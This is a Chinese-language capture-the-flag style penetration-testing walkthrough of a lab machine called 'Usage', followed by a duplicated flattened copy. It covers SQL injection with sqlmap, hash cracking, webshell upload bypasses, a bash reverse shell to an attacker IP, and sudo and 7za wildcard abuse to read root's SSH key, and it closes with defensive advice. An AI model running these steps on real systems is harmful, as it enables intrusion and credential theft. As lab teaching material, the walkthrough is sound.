记一次渗透测试实战之Usage
字数 1243 2025-08-22 12:23:30

渗透测试实战教学:从信息收集到权限提升

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初始端口探测:

nmap -sV -T4 <目标IP>

发现开放端口:

  • 22端口:SSH服务
  • 80端口:HTTP服务

1.2 子域名枚举

使用ffuf工具进行子域名爆破:

ffuf -w /path/to/wordlist.txt -u https://target.com -H "Host: FUZZ.target.com" -fs <过滤大小>

注意:本例中未发现有用的子域名

2. Web应用测试

2.1 发现登录页面

访问80端口Web服务,发现存在登录页面:

  • 检查页面源代码
  • 尝试常见路径如/login、/admin等

2.2 弱口令测试

发现存在注册功能:

  1. 注册一个测试用户
  2. 尝试常见弱口令组合
  3. 使用Burp Suite拦截登录请求

3. SQL注入漏洞利用

3.1 发现注入点

通过Burp Suite拦截请求,发现存在SQL注入漏洞:

  • 测试参数如username、password等
  • 使用单引号(')测试是否引发错误

3.2 使用sqlmap自动化测试

基本命令:

sqlmap -u "http://target.com/login" --data="username=test&password=test" --level=5 --risk=3

进阶技巧:

  1. 初始测试可能失败,需要调整参数
  2. 使用--dbms指定数据库类型
  3. 使用--technique指定注入技术

成功获取数据:

  • 枚举数据库表
  • 获取用户表数据(用户名和密码hash)

3.3 Hash破解

使用工具如John the Ripper或hashcat破解hash:

hashcat -m <hash类型> hash.txt /path/to/wordlist.txt

成功获取明文密码:"whatever1"

4. 文件上传漏洞利用

4.1 发现上传点

登录后测试各功能点,发现文件上传功能

4.2 绕过上传限制

尝试方法:

  1. 直接上传PHP webshell(可能失败)
  2. 修改文件扩展名(如.php5、.phtml)
  3. 使用双扩展名(如test.jpg.php)
  4. 修改Content-Type头

4.3 获取Webshell

成功上传webshell后,访问对应URL获取系统访问权限

5. 权限提升技术

5.1 反弹shell

使用bash反弹shell:

bash -c 'bash -i >& /dev/tcp/攻击者IP/443 0>&1'

注意:URL编码后为%26代替&

5.2 内网信息收集

关键文件检查:

  • 检查用户目录下隐藏文件(如.monit.rc)
  • 查找配置文件中的明文密码
  • 检查sudo权限:sudo -l

5.3 利用sudo权限提升

发现无需密码即可以root身份运行特定脚本:

  1. 分析脚本功能
  2. 检查脚本是否允许用户输入
  3. 检查脚本是否调用外部命令

方法一:创建恶意脚本

  1. 利用脚本功能创建或读取文件
  2. 通过脚本读取/root/root.txt

方法二:利用通配符漏洞

  1. 搜索"7za 通配符漏洞"
  2. 利用漏洞读取/root/.ssh/id_rsa
  3. 使用私钥SSH登录获取root权限

6. 关键安全建议

  1. SQL注入防护

    • 使用参数化查询
    • 实施输入验证
    • 最小化数据库权限
  2. 文件上传安全

    • 限制上传文件类型
    • 使用白名单验证
    • 存储上传文件在非Web目录
  3. 权限管理

    • 避免使用root运行应用
    • 定期审计sudo权限
    • 实施最小权限原则
  4. 密码安全

    • 强制使用强密码
    • 密码哈希使用bcrypt等强算法
    • 实施多因素认证
  5. 系统加固

    • 定期更新软件
    • 删除不必要的文件和敏感信息
    • 监控日志文件
渗透测试实战教学:从信息收集到权限提升 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初始端口探测: 发现开放端口: 22端口:SSH服务 80端口:HTTP服务 1.2 子域名枚举 使用ffuf工具进行子域名爆破: 注意:本例中未发现有用的子域名 2. Web应用测试 2.1 发现登录页面 访问80端口Web服务,发现存在登录页面: 检查页面源代码 尝试常见路径如/login、/admin等 2.2 弱口令测试 发现存在注册功能: 注册一个测试用户 尝试常见弱口令组合 使用Burp Suite拦截登录请求 3. SQL注入漏洞利用 3.1 发现注入点 通过Burp Suite拦截请求,发现存在SQL注入漏洞: 测试参数如username、password等 使用单引号(')测试是否引发错误 3.2 使用sqlmap自动化测试 基本命令: 进阶技巧: 初始测试可能失败,需要调整参数 使用--dbms指定数据库类型 使用--technique指定注入技术 成功获取数据: 枚举数据库表 获取用户表数据(用户名和密码hash) 3.3 Hash破解 使用工具如John the Ripper或hashcat破解hash: 成功获取明文密码:"whatever1" 4. 文件上传漏洞利用 4.1 发现上传点 登录后测试各功能点,发现文件上传功能 4.2 绕过上传限制 尝试方法: 直接上传PHP webshell(可能失败) 修改文件扩展名(如.php5、.phtml) 使用双扩展名(如test.jpg.php) 修改Content-Type头 4.3 获取Webshell 成功上传webshell后,访问对应URL获取系统访问权限 5. 权限提升技术 5.1 反弹shell 使用bash反弹shell: 注意:URL编码后为 %26 代替 & 5.2 内网信息收集 关键文件检查: 检查用户目录下隐藏文件(如.monit.rc) 查找配置文件中的明文密码 检查sudo权限: sudo -l 5.3 利用sudo权限提升 发现无需密码即可以root身份运行特定脚本: 分析脚本功能 检查脚本是否允许用户输入 检查脚本是否调用外部命令 方法一:创建恶意脚本 利用脚本功能创建或读取文件 通过脚本读取/root/root.txt 方法二:利用通配符漏洞 搜索"7za 通配符漏洞" 利用漏洞读取/root/.ssh/id_ rsa 使用私钥SSH登录获取root权限 6. 关键安全建议 SQL注入防护 : 使用参数化查询 实施输入验证 最小化数据库权限 文件上传安全 : 限制上传文件类型 使用白名单验证 存储上传文件在非Web目录 权限管理 : 避免使用root运行应用 定期审计sudo权限 实施最小权限原则 密码安全 : 强制使用强密码 密码哈希使用bcrypt等强算法 实施多因素认证 系统加固 : 定期更新软件 删除不必要的文件和敏感信息 监控日志文件